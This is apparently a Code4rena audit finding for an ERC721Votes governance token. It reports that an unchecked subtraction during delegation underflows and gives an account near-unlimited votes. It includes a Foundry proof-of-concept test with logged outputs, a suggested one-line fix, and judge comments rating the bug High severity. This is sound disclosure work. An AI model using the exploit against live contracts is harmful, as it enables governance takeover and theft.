Platform: Code4rena
Start Date: 06/09/2022
Pot Size: $90,000 USDC
Total HM: 33
Participants: 168
Period: 9 days
Judge: GalloDaSballo
Total Solo HM: 10
Id: 157
League: ETH
Rank: 54/168
Findings: 1
Award: $235.61
🌟 Selected for report: 1
🚀 Solo Findings: 0
235.614 USDC - $235.61
aftertokenTransfer
in ERC721Votes transfers votes between user addresses instead of the delegated addresses, so a user can cause overflow in _moveDelegates
and get unlimited votes
function _afterTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override { // Transfer 1 vote from the sender to the recipient _moveDelegateVotes(_from, _to, 1); super._afterTokenTransfer(_from, _to, _tokenId); }
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); ... unchecked { ... // Update their voting weight _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount); }
During delegation balanceOf(from)
amount of votes transferred are to the _to
address
function test_UserCanGetUnlimitedVotes() public { vm.prank(founder); auction.unpause(); vm.prank(bidder1); auction.createBid{ value: 1 ether }(2); vm.warp(10 minutes + 1 seconds); auction.settleCurrentAndCreateNewAuction(); assertEq(token.ownerOf(2), bidder1); console.log(token.getVotes(bidder1)); // 1 console.log(token.delegates(bidder1)); // 0 bidder1 vm.prank(bidder1); token.delegate(bidder2); console.log(token.getVotes(bidder1)); // 1 console.log(token.getVotes(bidder2)); // 1 vm.prank(bidder1); auction.createBid{value: 1 ether}(3); vm.warp(22 minutes); auction.settleCurrentAndCreateNewAuction(); assertEq(token.ownerOf(3), bidder1); console.log(token.balanceOf(bidder1)); // 2 console.log(token.getVotes(bidder1)); // 2 console.log(token.getVotes(bidder2)); // 1 vm.prank(bidder1); token.delegate(bidder1); console.log(token.getVotes(bidder1)); // 4 console.log(token.getVotes(bidder2)); // 6277101735386680763835789423207666416102355444464034512895 }
When user1 delegates to another address balanceOf(user1)
amount of tokens are subtraced from user2's votes, this will cause underflow and not revert since the statements are unchecked
foundry
Change delegate transfer in afterTokenTransfer
to
_moveDelegateVotes(delegates(_from), delegates(_to), 1);
#0 - GalloDaSballo
2022-09-25T20:46:59Z
The warden has shown how to exploit:
To trigger an underflow that gives each user the maximum voting power
While some setup is necessary (having 1 token), I think the exploit is impactful enough to warrant High Severity, as any attacker will be able to obtain infinite voting power on multiple accounts
#1 - tbtstl
2022-09-26T18:27:27Z
Another delegation duplicate
#2 - GalloDaSballo
2022-10-03T15:19:20Z
In contrast to other reports, this finding (as well as it's duplicates) are using an unchecked operation to negatively overflow the amount of votes to gain the maximum value